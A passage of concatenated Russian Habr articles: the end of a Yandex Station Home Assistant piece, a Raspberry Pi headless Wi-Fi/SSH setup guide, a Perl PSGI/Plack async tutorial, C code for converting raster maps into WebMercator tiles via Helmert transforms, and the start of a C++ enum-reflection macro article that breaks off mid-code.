Некоторое время ушло на объединение локального и облачного режима работы. При старте Home Assistant все колонки включаются в облачном режиме и запускается поиск колонок, поддерживающих локальный режим. mDNS довольно капризный протокол и иногда может искать колонку довольно долго. Но благодаря наличию облачного режима — управление станцией сохранится, пусть и в обрезанном режиме без обратной связи. При обнаружении локальной колонки — управление переключается на локальный протокол.
Похожим образом работает другой мой компонент для управления устройствами [eWeLink](https://www.ewelink.cc/en/) (Sonoff) на оригинальной прошивке — [SonoffLAN](https://github.com/AlexxIT/SonoffLAN). В линейке популярных китайских реле также есть устройства, которые поддерживают локальное и облачное управление. И устройства, которые поддерживают только облачное управление.
Могу написать отдельную статью про компонент, если интересно.
Home Assistant Windows Portable
-------------------------------
Для пользователей, испытывающих трудности в установке Home Assistant, я собрал портативную версию Home Assistant под Windows на базе [WinPython](https://winpython.github.io/) — [HassWP](https://github.com/AlexxIT/HassWP). Эта версия подойдёт для ознакомления и экспериментов. В ней уже установлен Home Assistant Community Store ([HACS](https://hacs.xyz/)) и компоненты [YandexStation](https://github.com/AlexxIT/YandexStation) и [SonoffLAN](https://github.com/AlexxIT/SonoffLAN).
**Демонстрация**
Для повседневного использования всё же рекомендую установить [Hass.io](https://www.home-assistant.io/hassio/) на Raspberry Pi, NUC (или аналог) или виртуальную машину с Linux. Но слышал у VirtualBox есть проблемы с Multicast. Это тот самый mDNS без которого в локальной сети НЕ найдутся ваши Яндекс.Станции, устройства Sonoff, колонки Google, плееры с поддержкой AirPlay и многие другие полезные гаджеты.
Заключение
----------
Я знаю довольно много людей, кто купил колонки с Алисой благодаря выходу этого компонента. Решение показывает, что при наличии фукнционального API — эти колонки могут стать почти обязательным устройством в каждом умном доме.
Это далеко не все крутые вещи, на которые способны колонки с Алисой и экосистема [умного дома Яндекса](https://yandex.ru/alice/smart-home). Просто у меня пока ещё не дошли руки реализовать всё задуманное.
Следить за развитием этого и других моих проектов можно на [канале](https://t.me/AlexxIT_SmartHome) в Telegram. На странице [GitHub](https://github.com/AlexxIT) вы можете найти и другие полезные компоненты для Home Assistant. | https://habr.com/ru/post/508106/ | null | ru | null |
# Беспроводная настройка Raspberry PI 3 B+
*Привет,*
несколько месяцев назад, приобрел себе малинку, с целью попрактиковатся в embedded-типа разработке. Я уверен, много людей знакомых из Raspberry полагают, что для первоначального запуска микрокомпьютера нужен как минимум RJ45 или монитор, клавиатура и мышь (что лучше). Сегодня будем развенчивать этот миф поисковым запросом *raspberry pi headless setup*. Для этого будем использовать Wi-Fi сеть и SSH протокол.
Если у Вас уже есть плата и sd-карта, но нет дополнительного монитора и тем более шнура для ethernet, то нужно проделать дополнительные движения, для успешной установки ОС на вашу плату и возможности её использования.
1. **Выбираем желанную ОС ([список доступных есть на сайте](https://www.raspberrypi.org/downloads/))**, скачиваем архив из сайта (я использовал Raspbian)
2. **Устанавливаем ОС на флешку**. Распаковав архив, нужно записать образ диска с расширением `img` на отформатированную sd-карту (карта должна иметь достаточный объем памяти, в моём случае я использовал на 16gb). Можно использовать для этого Etcher (работает на всех платформах), Win32DiskImager (для Windows) или любую другую утилиту.
3. **Создаем файл `wpa_supplicant.conf`**. Далее нужно создать файл конфигурации для `wpa_supplicant`, где мы укажем параметры нашей wi-fi сети.
```
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1
country=UA
network={
ssid="Your network name/SSID"
psk="Your WPA/WPA2 security key"
key_mgmt=WPA-PSK
}
```
нужно внести свои данные в параметры `ssid`, `psk`, `country`. файл нужно внести в корень загрузочной флешки в раздел boot — `/boot/wpa_supplicant.conf`
4. **Создать файл `ssh`**
для активации ssh доступа к нашей плате нужно создать пустой файл `/boot/ssh`
5. **Запускаем ОС на Raspberry PI**
после выше проделанного можно вставлять флешку в плату и подавать питание.
6. **Ищем нашу плату в локальной сети**
плата должна подключится к нашей локальной wi-fi сети и мы можем её обнаружить используя Advanced IP Scanner (Windows) или nmap (Linux команда `sudo nmap -sP 192.168.100.0/24` нужно использовать ip-адресс вашей локальной сети — его можно узнать с помощью `ifconfig`)
7. **Поключаемся к Raspberry через SSH**
после того, как мы узнали адресс нашей платы в сети мы можем использовать интерфейс ssh для удалённого подключение. Для пользователей Windows можно установить [PuTTY](https://www.putty.org/) для Linux будем использовать `ssh`. Подробная инструкция по подключению через PuTTY [здесь](https://seregichev.wordpress.com/2014/07/06/putty-%D0%B8%D0%BB%D0%B8-%D0%BA%D0%B0%D0%BA-%D0%BF%D0%BE%D0%B3%D0%BE%D0%B2%D0%BE%D1%80%D0%B8%D1%82%D1%8C-%D1%81-raspberry-pi/). Если у Вас Linux то подключаемся с помощью `ssh pi@192.168.100.103` (указываем адресс своей платы). Появится строка ввода пароля — стандартный пароль `raspberry` — вводим его и нажимаем enter.
Вот и всё у нас есть полный доступ к ОС Raspberry. Если вдруг Вам нужен графический интерфейс, нужно поискать про VNC и RDP.
Надеюсь было полезно! | https://habr.com/ru/post/460503/ | null | ru | null |
# Введение в разработку web-приложений на PSGI/Plack. Часть 4. Асинхронность
С разрешения автора и главного редактора журнала PragmaticPerl.com я публикую эту статью.
Оригинал статьи можно прочитать [здесь](http://pragmaticperl.com/issues/05/pragmaticperl-05-введение-в-разработку-web-приложений-на-psgiplack.-часть-4.-асинхронность.html).
*Продолжение цикла статей посвященных разработке PSGI/Plack. Разбираемся с асинхронностью.*
В предыдущий статьях мы рассмотрели основные аспекты разработки под PSGI/Plack, которых, в принципе, достаточно для разработки приложений практически любой сложности.
Мы разобрались, что такое PSGI, разобрались как устроен Plack, затем мы разобрались, как устроены основные компоненты Plack (Plack::Builder, Plack::Request, Plack::Middleware). Затем мы подробно рассмотрели Starman, который является хорошим PSGI-сервером, готовым для использования в production.
Нюанс
-----
Все, что было рассматрено ранее, касалось разработки под модель выполнения, которая называется синхронной. Сейчас рассмотрим асинхронную модель.
Синхронность и асинхронность
----------------------------
Синхронная модель это просто и понятно. Все происходит друг за другом в определенном порядке. Это называется процессом выполнения. Рассмотрим один процесс интерпретатора, который, скажем, выполняет цикл, один из элементов которого — ввод пользовательской информации. Следующая итерация цикла не будет выполнена, пока не будет окончена предыдущая, которая включает в себя ожидание ввода пользователем данных. Это — синхронная модель.
Пока пользователь ничего не вводит, программа ожидает ввода и ничего полезного не делает. Эта ситуация называеся блокировкой процесса исполнения. В этом случае простой программы просто утилизирует процессорное время. А вот если в процессе ожидания пользователя программа делает что-то другое, ожидая ввода, то процесс становится асинхронным, а ситуация, соответственно, — неблокирующей.
Идем в бар
----------
Рассмотрим в качестве примера бар. Простой бар или паб, в котором клиенты сидят и пьют пиво. Клиентов много. В баре работают два официанта — Боб и Джо. Они работают по двум разным схемам. Боб подходит к клиентам, принимает заказ, идет к барной стойке, заказывает бармену бокал пива, ждет, пока бармен нальет бокал, относит его клиенту, ситуация повторяется. Боб работает синхронно. Джо же поступает совсем по другому. Он принимает заказ у клиента, идет к бармену, говорит ему: “Эй ты, налей-ка бокал %beername%”, затем идет принимать заказ у следующего клиента. Как только бармен наливает бокал, он зовет Джо, который забирает бокал и относит его клиенту.
В этом случае Боб работает синхронно, а Джо, соотственно, асинхронно. Модель работы Джо — событийно-ориентированная. Это наиболее популярная модель работы асинхронных систем. В нашем случае ожидание ввода — время, необходимое на заполнения бокала пивом, менеджер событий — бармен, а событие — это крик бармена “%beername% налито”.
Проблема
--------
Вот теперь у читателей, которые никогда не работали с асинхронными системами, должен возникнуть вопрос. “А зачем, собственно, делать синхронные вещи, если асинхронность быстрее и удобнее?”.
Это очень популярное заблуждение, но это не так. Асинхронные решения тоже имеют ряд проблем и недостатков. Очень много где можно прочитать, что асинхронные решения более производительные, чем синхронные. И да, и нет.
Вернемся к официантам. Боб работает неторопливо, рассказывает анекдоты бармену, размеренно разносит бокалы, а Джо постоянно мотается как угорелый. Нагрузка на Джо, естественно, выше, т.к. он делает гораздо больше всего одновременно. Нагрузка же на Боба минимальна, пока нет клиентов. Как только клиентов становится много, они начинают громко требовать свое пиво и торопить Боба. Нагрузка со стороны клиента на него возрастает, но Боб продолжает работать в том же темпе, ему плевать, от своей схемы работы он отказываться не собирается, и пусть хоть небо рухнет.
Итак, отсюда можно сделать вывод, что асинхронность это неплохо, но следует понимать, что асинхронная система будет постоянно находиться под нагрузкой. Нагрузка, в принципе, будет такая же, как и на синхронную систему, но с одним отличием. Синхронная система подвержена пиковым нагрузкам, а асинхронная эти нагрузки “размазывает” по времени исполнения.
Ну и самое главное, нельзя забывать о том, что любая система может выполнять одновременно столько задач, сколько ядер процессора доступно процессу.
Асинхронный PSGI/Plack
----------------------
Классическое Plack-приложение (пропустим секцию builder):
```
my $app = sub {
my $env = shift;
my $req = Plack::Request->new($env);
my $res = $req->new_response(200);
$res->body('body');
return $res->finalize();
};
```
Из кода видно, что скаляр $app содержит в себе ссылку на функцию, которая возвращает валидный PSGI-ответ (ссылку на массив). Таким образом — это ссылка на функцию, которая возвращает ссылку на массив. Здесь можно добавить асинхронность, но дела из этого не выйдет, ведь исполняемый процесс будет блокироваться.
PSGI-приложение, которое является ссылкой на функцию, которая возвращает ссылку на массив, должно выполниться до конца, а только затем освободить поток исполнения.
Естественно, этот код будет работать правильно на любом PSGI-сервере, т.к. он синхронный. Любой асинхронный сервер умеет выполнять синхронный код, но синхронный сервер асинхронный код исполнять не может. Код, приведенный выше, является синхронным. В прошлой статье мы немного касались такого PSGI-сервера, как Twiggy. Рекомендую установить его, если его у вас еще нет. Это можно сделать несколькими способами. При помощи cpan (cpan install Twiggy), при помощи cpanm (cpanm Twiggy), или же взять на github.
Twiggy
------
Twiggy — асинхронный сервер. Автор у Twiggy и Starman один и тот же — @miyagawa.
Про Twiggy @miyagawa говорит следующее:*«PSGI/Plack HTTP-сервер, базирующийся на AnyEvent.»*
Twiggy — супермодель из 60-х, которая, как многие считают, положила начало моде на “худышек”, а т.к. сервер очень “легкий”, “тонкий”, “маленький”, то название было выбрано не случайно.
Отложенный ответ
----------------
PSGI-приложение с отложенным ответом представлено в документации следующим образом:
```
my $app = sub {
my $env = shift;
return sub {
my $responder = shift;
fetch_content_from_server(sub {
my $content = shift;
$responder->([ 200, $headers, [ $content ] ]);
});
};
};
```
Разберемся, как это работает, чтобы понять, как это использовать дальше и написать свое приложение, работающее с отложенным ответом.
Приложение является ссылкой на функцию, которая возвращает функцию, которая будет выполнена после выполнения некоторых условий (callback). В результате приложение является ссылкой на функцию, которая возвращает ссылку на функцию. Вот и все, что надо понимать. Сервер, если установлена переменная окружения PSGI “psgi.streaming”, будет пытаться выполнить эту операцию в неблокирующем режиме, т.е. асинхронно.
Так как же это работает?
Если выполнять подобное приложение на Starman, то разницы не будет, но если мы будем использовать отложенный ответ на асинхронном сервере, то процесс исполнения будет выглядеть следующим образом.
* Сервер получает запрос.
* Сервер запрашивает данные откуда-нибудь, откуда они идут длительное время (функция fetch\_content\_from\_server).
* Затем, пока ожидает ответа, он может принимать еще запросы.
Если бы модель была синхронной, то сервер бы не смог принять ни единого запроса, пока не отработал бы предыдущий.
Напишем приложение, используя механизм отложенного ответа. Приложение будет выглядеть следующим образом:
```
use strict;
use Plack;
my $app = sub {
my $env = shift;
return sub {
my $responder = shift;
my $body = "ok\n";
$responder->([ 200, [], [ $body ] ]);
}
}
```
А теперь запустим приложение как при помощи Starman, так и при помощи Twiggy.
Команда на запуск при помощи Starman у нас не меняется и выглядит следующим образом:
```
starman --port 8080 app.psgi
```
Для запуска при помощи Twiggy:
```
twiggy --port 8081 app.psgi
```
Теперь сделаем запрос сначала к одному серверу, затем к другому.
Запрос к Starman:
```
curl localhost:8080/
ok
```
Запрос к Twiggy:
```
curl localhost:8081/
ok
```
Пока-что отличий никаких, и сервера отрабатывают одинаково.
А теперь проведем простой эксперимент с Twiggy и Starman. Представим, что нам надо написать приложение, которое будет что-то выполнять по запросу клиента, а после завершения операции отчитываться о выполненной работе. Но, т.к. клиента нам держать не нужно, воспользуемся для имитации выполнения чего-либо AnyEvent->timer() для Twiggy, sleep 5 для Starman. Вообще, sleep здесь не самый лучший вариант, но другого у нас нет, т.к. код с AnyEvent в Starman работать не будет.
Итак, реализуем два варианта.
Блокирующий:
```
use strict;
sub {
my $env = shift;
return sub {
my $responder = shift;
sleep 5;
warn 'Hi';
$responder->([ 200, [ 'Content-Type' => 'text/json'], [ 'Hi' ] ]);
}
}
```
Как бы мы его не запускали, хоть при помощи Starman, хоть при помощи Twiggy, результат будет всегда один. Запустим его, для начала, при помощи Starman следующей командой:
```
starman --port 8080 --workers=1 app.psgi
```
**Внимание: для чистоты эксперимента надо использовать Starman с одним рабочим процессом.**
Обращаясь к серверу из разных терминалов одновременно, мы можем видеть, как это приложение исполняется. Сначала worker возьмет первый запрос и начнет его исполнять. В этот момент второй запрос будет стоять в очереди. Как только первый запрос полностью выполнится, сервер начнет обрабатывать следующий запрос.
Суммарно два запроса будут выполняться приблизительно 10 секунд (второй запускается на обработку только после первого). Если запроса будет 3, то примерное время выполнения будет 18 секунд. Именно эта ситуация называется блокировкой.
Асинхронный код
---------------
Если запустить предыдущий пример на исполнение при помощи Twiggy, результат будет такой же точно. Сейчас может возникнуть вопрос, зачем нужен асинхронный сервер, если он блокируется и Starman работает точно также.
Дело в том, что для того, чтобы что-то работало асинхронно, необходим механизм, который будет обеспечивать асинхронность, цикл событий (event loop), например.
Twiggy построена вокруг AnyEvent-механизма, который запускается при старте сервера. Мы можем им пользоваться сразу же после старта сервера. Возможно использовать и Coro, статья по которому тоже обязательно будет.
Теперь напишем код, который **не будет** работать со Starman, и получим готовое асинхронное приложение.
Приведем в порядок код и сделаем приложение асинхронным. В результате у нас должно получиться нечто следующего вида:
```
sub {
my $env = shift;
return sub {
my $respond = shift;
$env->{timer} = AnyEvent->timer(
after => 5,
cb => sub {
warn 'Hi' . time() . "\n";
$respond->([200, [], ['Hi' . time() . "\n"]]);
}
);
}
}
```
Стоит напомнить, что блокировки будут **всегда**, от написания кода зависит то, где они будут. Чем меньше времени сервер будет заблокирован, тем лучше.
Как это работает?
В первую очередь запускается таймер. Основной момент заключается в том, что в return sub {...} необходимо присваивать объект-наблюдатель (AnyEvent->timer(...)) переменной, которая была объявлена до return sub {...}, либо же использовать condvar. Иначе таймер никогда не будет выполнен, т.к. AnyEvent посчитает, что функция выполнена и ничего делать не надо. По истечению таймера возникает событие, функция выполняется, и сервер возвращает результат. Если сделать из разных терминалов, например, три запроса, то они будут все выполняться асинхронно, а по срабатыванию события таймера будет возвращен ответ. Но здесь самое главное то, что блокировки не происходит. Об этом свидетельствует результат трех запросов, выполненных с разных терминалов, вывод STDERR:
```
twiggy --port 8080 app.psgi
Hi1372613810
Hi1372613811
Hi1372613812
```
Запуск cервера был осуществлен следующей командой:
```
twiggy --port 8080 app.psgi
```
А запросы выполнялись при помощи curl:
```
curl localhost:8080
```
Напомним, что preforking-сервер в классическом виде синхронен. Одновременность запросов обрабатывается при помощи определенного количества worker’ов. Т.е. если запустить предыдущий синхронный код:
```
use strict;
sub {
my $env = shift;
return sub {
my $responder = shift;
sleep 5;
warn 'Hi';
$responder->([ 200, [ 'Content-Type' => 'text/json'], [ 'Hi' ] ]);
}
}
```
с несколькими worker, то получится, что два запроса будут выполняться одновременно. Но тут дело не в асинхронности, а в том, что каждый запрос обрабатывается своим рабочим процессом. Так работает Starman, preforking PSGI server.
Возьмем асинхронный пример:
```
sub {
my $env = shift;
return sub {
my $respond = shift;
$env->{timer} = AnyEvent->timer(
after => 5,
cb => sub {
warn 'Hi' . time() . "\n";
$respond->([200, [], ['Hi' . time() . "\n"]]);
}
);
}
}
```
Запуск произведем следующей командой:
```
twiggy --port 8080 app.psgi
```
и повторим эксперимент с двумя одновременными запросами.
Действительно, Twiggy работает одним процессом, однако ничто не мешает ей выполнять в процессе ожидания другие полезные действия. Это и есть асинхронность.
Данный пример был использован исключительно ради демонстрации того, как можно использовать отложенный ответ. Для лучшего понимания принципов работы Twiggy рекомендуется ознакомиться со статьями, посвященными AnyEvent в предыдущих номерах журнала (“Все, что вы хотели знать про AnyEvent, но боялись спросить” и “AnyEvent и fork”).
На данный момент существует довольно большое количество PSGI-серверов, которые поддерживают циклы событий. А именно:
* Feersum — асинхронный XS-сервер с нереальной производительностью, базируется на EV.
* Twiggy — асинхронный сервер, базируется на AnyEvent.
* Twiggy::TLS — та же самая Twiggy, но с поддержкой ssl.
* Twiggy::Prefork — та же самая Twiggy, но с workers.
* Monoceros — молодой сервер, гибридный, имеет в себе как синхронную, так и асинхронную части.
* Corona — асинхронный сервер, базируется на Coro.
Выводы
------
У любой технологии есть свои нюансы. Решать, какой подход использовать, нужно, опираясь на данные по каждой конкретной задаче, но не использовать везде асинхронный подход, потому что модно.
[Дмитрий Шаматрин](http://pragmaticperl.com/authors/6) | https://habr.com/ru/post/248457/ | null | ru | null |
# Создание тайлов из растровых карт
Как-то я озадачился вопросом создания карт, пригодных для использования в OsmAnd и OpenLayers. О ГИС я тогда вообще не имел ни малейшего понятия, поэтому разбирался со всем с нуля.
В статье расскажу о результатах своих «исследований», составим алгоритм преобразования произвольной растровой карты в тайлы, понятные для приложений и попутно познакомимся с такими понятиями как эллипсоид, датум, система координат, проекция.
Наша Земля имеет не форму шара, и даже не форму эллипсоида, эта сложная фигура называется геоид. Дело в том, что массы внутри Земли распределены не равномерно, поэтому в одних местах Земля немного вогнутая, в других немного выпуклая. Если взять территорию отдельной страны или материка, то ее поверхность с достаточной точностью можно совместить с поверхностью некоторого эллипсоида, если центр этого эллипсоида немного сдвинуть по трем осям координат относительно центра масс Земли. Такой эллипсоид называется референц-эллипсоидом, он пригоден для описания только локального участка Земли, для которого он был создан. На больших расстояниях от этого участка, он может иметь очень большое расхождение с поверхностью Земли. Эллипсоид, центр которого совпадает с центром масс Земли, называется общеземным эллипсоидом. Понятно, что референц-эллипсоид лучше описывает свой локальный участок Земли чем общеземной, но зато общеземной пригоден для всей поверхности Земли.
Для описания эллипсоида достаточно только двух независимых значений: экваториального радиуса (обычно обозначается a) и полярного радиуса (b), но вместо второго независимого значения обычно пользуются полярным сжатием f=(a-b)/a. Это первое, что нам понадобится в нашем алгоритме как объект — эллипсоид. Для разных участков Земли в разные годы разными исследователями было вычислено множество референц-эллипсоидов, информация о них приводится в виде данных: a (в метрах) и 1/f (безразмерная). Как это ни странно, для общеземного эллипсоида также существует множество отличающихся вариантов (разные a,f), но отличие не очень сильное, связано оно в основном с различием в методиках определения a и f.
```
struct Ellipsoid {
char *name;
double a; /* Большая (экваториальная) полуось */
double b; /* Малая (полярная) полуось */
double al; /* Сжатие (a-b)/a */
double e2; /* Квадрат эксцентриситета (a^2-b^2)/a^2 */
};
struct Ellipsoid Ellipsoid_WGS84 = {
.name = "WGS84",
.a = 6378137.0,
.al = 1.0 / 298.257223563,
};
struct Ellipsoid Ellipsoid_Krasovsky = {
.name = "Krasovsky",
.a = 6378245.0,
.al = 1.0 / 298.3,
};
```
В примере приведены два эллипсодида: общеземной WGS84, используемой в спутниковой навигации, и референц-эллипсоид Красовского, применимый для территории Европы и Азии.
Рассмотрим еще один интересный момент, дело в том, что форма Земли медлено, но меняется, поэтому эллипсоид, который сегодня хорошо описывает поверхнось, через сотню лет может быть далек от реальности. Это мало касается общеземного эллипсоида, т.к. отклонения в пределах его же погрешности, но актуально для референц-эллипсоида. Тут мы подошли еще к одному понятию — датум. Датум это совокупность параметров эллипсоида (a,f), его смещения внутри Земли (для референц-эллипсоида), зафиксированные в определенный момент времени. Если говорить более точно, то датум может описывать не обязательно эллипсоид, это могут быть параметры более сложной фигуры, например, квазигеоида.
Наверняка уже возник вопрос: как переходить от одного эллипсоида или датума к другому? Для этого на каждом эллипсоиде должна быть система геодезических координат: широта и долгота (фи, лямбда), переход осуществляется переводом координат из одной системы координат в другую.
Для преобразования координат существуют различные формулы. Можно сначала геодезичесике координаты в одной системе координат переводить в трехмерные координаты X,Y,Z, с ними выполнять сдвиги и повороты и затем полученные трехмерные координаты переводить в геодезические в другой системе координат. Можно это делать и напрямую. Т.к. все формулы это бесконечные сходящиеся ряды, то обычно ограничиваются несколькими членами рядов для достижения требуемой точности. В качестве примера воспользуемся преобразованиями Гельмерта (Helmert), это преобразования с использование перехода в трехмерные координаты, состоят из трех этапов описанных выше. Для преобразований кроме двух эллипсоидов понадобятся еще 7 параметров: три сдвига по трем осям, три угла поворота и масштабный коэффициент. Как можно догадаться, все параметры можно извлечь из датумов. Но в алгоритме мы не будем пользоваться таким объектом как датум, а вместо этого введем объект перехода из одной системы координат в другую, который будет содержать: ссылки на два эллипсоида и 7 параметров преобразования. Это будет вторым объектом нашего алгоритма.
```
struct HelmertParam {
char *src, *dst;
struct Ellipsoid *esp;
struct Ellipsoid *edp;
struct {
double dx, dy, dz;
double wx, wy, wz;
double ms;
} p;
// Вспомогательные величины
double a, da;
double e2, de2;
double de2__2, dxe2__2;
double n, n__2e2;
double wx_2e2__ro, wy_2e2__ro;
double wx_n__ro, wy_n__ro;
double wz__ro, ms_e2;
};
struct HelmertParam Helmert_SK42_WGS84 = {
.src = "SK42",
.dst = "WGS84",
.esp = &Ellipsoid_Krasovsky,
.edp = &Ellipsoid_WGS84,
// SK42->PZ90->WGS84 (ГОСТ Р 51794-2001)
.p = {23.92, -141.27, -80.9, 0, -0.35, -0.82, -0.12e-6},
};
```
В примере приведены параметры для преобразования из системы координат Пулково 1942 в систему координат WGS84. Сами параметры преобразования — это отдельная тема, для некоторых систем координат они открыты, для других подобраны опытным путем, поэтому в разных источниках их значения могут незначительно отличаться.
Кроме параметров необходима и функция преобразования, она может быть прямая и для преобразования в обратном направлении, нам понадобится только преобразование в обратном направлении. Пропущу тонны матана и приведу свою оптимизированную функцию.
```
void setupHelmert(struct HelmertParam *pp) {
pp->a = (pp->edp->a + pp->esp->a) / 2;
pp->da = pp->edp->a - pp->esp->a;
pp->e2 = (pp->edp->e2 + pp->esp->e2) / 2;
pp->de2 = pp->edp->e2 - pp->esp->e2;
pp->de2__2 = pp->de2 / 2;
pp->dxe2__2 = pp->de2__2 + pp->e2 * pp->da / pp->a;
pp->n = 1 - pp->e2;
pp->n__2e2 = pp->n / pp->e2 / 2;
pp->wx_2e2__ro = pp->p.wx * pp->e2 * 2 * rad(0,0,1);
pp->wy_2e2__ro = pp->p.wy * pp->e2 * 2 * rad(0,0,1);
pp->wx_n__ro = pp->p.wx * pp->n * rad(0,0,1);
pp->wy_n__ro = pp->p.wy * pp->n * rad(0,0,1);
pp->wz__ro = pp->p.wz * rad(0,0,1);
pp->ms_e2 = pp->p.ms * pp->e2;
}
void translateHelmertInv(struct HelmertParam *pp,
double lat, double lon, double h, double *latp, double *lonp) {
double sin_lat, cos_lat;
double sin_lon, cos_lon;
double q, n;
if (unlikely(!pp)) {
*latp = lat;
*lonp = lon;
return;
}
sin_lat = sin(lat);
cos_lat = cos(lat);
sin_lon = sin(lon);
cos_lon = cos(lon);
q = 1 / (1 - pp->e2 * sin_lat * sin_lat);
n = pp->a * sqrt(q);
*latp = lat
- ((n * (q * pp->de2__2 + pp->dxe2__2) * sin_lat + pp->p.dz) * cos_lat
- (pp->p.dx * cos_lon + pp->p.dy * sin_lon) * sin_lat
) / (n * q * pp->n + h)
+ (pp->wx_2e2__ro * sin_lon - pp->wy_2e2__ro * cos_lon)
* (cos_lat * cos_lat + pp->n__2e2)
+ pp->ms_e2 * sin_lat * cos_lat;
*lonp = lon
+ ((pp->p.dx * sin_lon - pp->p.dy * cos_lon) / (n + h)
- (pp->wx_n__ro * cos_lon + pp->wy_n__ro * sin_lon) * sin_lat
) / cos_lat
+ pp->wz__ro;
}
```
Откуда все это берется? На более понятном языке формулы можно найти в проекте proj4, но т.к. мне была необходима оптимизация по скорости выполнения, то всякие вычисления синуса суммы углов были преобразованы по формулам, возведения в степень оптимизированы венесениями за скобки, а константы посчитаны отдельно.
Теперь, чтобы приблизиться к выполнению изначальной задачи — создать тайлы, необходимо рассмотреть систему координат под названием WebMercator. Эта система координат используется в приложении OsmAnd и в web, например в картах от Google и в OpenStreetMap. WebMercator это проекция Меркатора, построенная на сфере. Координаты в этой проекции это координаты пикселя X,Y и они зависят от масштаба Z, для нулевого масштаба вся земная поверхность (примерно до 85 градуса широты) помещается на одном тайле 256x256 пикселей, координаты X,Y меняются от 0 до 255, начиная с левого верхнего угла, для масштаба 1 — уже 4 тайла, X,Y — от 0 до 511 и так далее.
Для преобразования из WebMercator в WGS84 используются такие функции:
```
void XYZ_WGS84(unsigned x, unsigned y, int z, double *latp, double *lonp) {
double s = M_PI / ((1UL << 7) << z);
*lonp = s * x - M_PI;
*latp = asin(tanh(M_PI - s * y));
}
void WGS84_XYZ(int z, double lat, double lon, unsigned *xp, unsigned *yp) {
double s = ((1UL << 7) << z) / M_PI;
*xp = uint_round((lon + M_PI) * s);
*yp = uint_round((M_PI - atanh(sin(lat))) * s);
}
```
И под конец первой части статьи мы уже сможем набросать начало нашего алгоритма создания тайла. Каждый тайл 256x256 пикселей адресуется тремя значениями: x,y,z, соотношение с координатами X,Y,Z очень простое: x = (int)(X / 256); y = (int)(Y /256); z = Z;
```
void renderTile(int z, unsigned long x, unsigned long y) {
int i, j;
double wlat, wlon;
double lat, lon;
for (i = 0; i < 255; ++i) {
for (j = 0; j < 255; ++j) {
XYZ_WGS84(x * 256 + j, y * 256 + i, z, &wlat, &wlon);
translateHelmertInv(&Helmert_SK42_WGS84, wlat, wlon, 0, ⪫, &lon);
/* lat,lon - координаты в СК42 */
}
}
}
```
Координаты в СК42 это уже преобразованные координаты в систему координат карты, теперь осталось найти на карте пиксель по этим координатам и занести его цвет в пиксель тайла по координатам j,i. Об этом будет следующая статья, в которой мы поговорим о геодезических проекциях и афинных преобразованиях.
UPD: [Ссылка на вторую часть](https://habr.com/ru/post/526630/) | https://habr.com/ru/post/522462/ | null | ru | null |
# Добавляем рефлексию для перечислений (enum) в C++
Недавно в нашем проекте возникла необходимость программно получать информацию о перечислениях (enum), например, имена констант в виде строк, а также общий список всех имеющихся в enum-е констант.
```
enum Suit { Spades, Hearts, Diamonds, Clubs };
```
Обычно решение данной задачи базируется на дублировании значений, например, внутри switch-а:
```
switch(value)
{
case Spades: return "Spades";
case Hearts: return "Hearts";
case Diamonds: return "Diamonds";
case Clubs: return "Clubs";
default: return ""
};
```
И возможно, для небольших перечислений такое решение действительно является приемлемым, однако если значений много, и особенно, если они время от времени меняются, то рано или поздно разработчик может забыть дописать или изменить соответствующие строки в switch. Сюда прибавляются и другие очевидные минусы, например сам факт необходимости дублирования значений уже вызывает у меня некоторое недовольство.
Поэтому я постарался найти путь, который вообще не требовал бы дублирования, но при этом полностью справлялся бы с поставленной задачей. Думаю, у меня получилось.
Далее в статье я опишу способ, позволяющий организовать рефлексию для enum-ов. Кому интересно — добро пожаловать под кат.
Зачем это вообще нужно
----------------------
Полезных применений может быть много. Одно из них — сериализация значений, например в JSON.
Также это может пригодиться для взаимодействия кода на C++ со скриптовыми языками (например, Lua).
Требования
----------
Раз мы хотим избежать дублирования констант в коде, то нам нужно как-то сохранить информацию о всех значениях прямо в месте определения перечисления. Как вы уже, возможно, догадались, для этой цели придется использовать макрос. Учитывая это, можно выделить некоторые дополнительные требования:
1. Синтаксис макроса для описания перечисления должен быть совместим с обычным enum
2. Само перечисление (как тип) не должно отличаться от обычного enum (в т. ч. должно быть возможно потом использовать typedef)
3. При описании значений должны сохраняться те же возможности, что и в обычном перечислении
Иными словами, мы должны быть способны без труда обернуть уже существующее перечисление в наш макрос, после чего нам сразу будет (программно) доступна информация о нем.
Обязательным условием также является полная портируемость.
Результат
---------
Сначала, привожу краткое описание того, что получилось. Ниже в статье будет описание деталей реализации.
Для добавления рефлексии, перечисление вместо ключевого слова enum следует объявлять с помощью макроса *Z\_ENUM*. Например, для enum CardSuit из начала статьи, это выглядит следующим образом:
```
Z_ENUM( CardSuit,
Spades,
Hearts,
Diamonds,
Clubs
)
```
После этого в любом месте можно по типу перечисления получить ссылку на объект EnumReflector, который хранит о нем информацию:
```
auto& reflector = EnumReflector::For< CardSuit >();
```
Далее всё просто:
```
reflector.EnumName(); // == "CardSuit"
reflector.Find("Diamonds").Value(); // == 2
reflector.Count(); // == 4
reflector[1].Name(); // == "Hearts"
```
---
Следующий пример показывает более сложное перечисление:
```
class SomeClass
{
public:
static const int Constant = 100;
Z_ENUM( TasteFlags,
None = 0,
Salted = 1 << 0,
Sour = 1 << 1,
Sweet = 1 << 2,
SourSweet = (Sour | Sweet),
Other = Constant,
Last
)
};
```
На этот раз получим всю имеющуюся информацию:
```
auto& reflector = EnumReflector::For< SomeClass::TasteFlags >();
cout << "Enum " << reflector.EnumName() << endl;
for (auto& val : reflector)
{
cout << "Value " << val.Name() << " = " << val.Value() << endl;
}
```
Вывод:
```
Enum TasteFlags
Value None = 0
Value Salted = 1
Value Sour = 2
Value Sweet = 4
Value SourSweet = 6
Value Other = 100
Value Last = 101
```
Особенности
-----------
* В отличие от обычного enum, после последнего значения не допускается запятая
* Если перечисление объявляется вне класса (на уровне namespace), то вместо *Z\_ENUM* следует использовать полностью аналогичный ему *Z\_ENUM\_NS*
Причины появления этих двух пунктов рассматриваются в следующей секции.
Детали реализации
-----------------
Итак, самое интересное.
**Примечание: код, приводимый здесь упрощен в целях повышения читаемости. Полную версию вы можете найти на гитхабе, ссылка в конце статьи.**
Макрос Z\_ENUM:
```
#define Z_ENUM(enumName, ...)\
enum enumName : int \
{ \
__VA_ARGS__ \
}; \
friend const ::EnumReflector& _detail_reflector_(enumName) \
{ \
static const ::EnumReflector reflector( []{ \
static int sval; \
sval = 0; \
struct val_t \
{ \
val_t(const val_t& rhs) : _val(rhs) { sval = _val + 1; } \
val_t(int val) : _val(val) { sval = _val + 1; } \
val_t() : _val(sval){ sval = _val + 1; } \
\
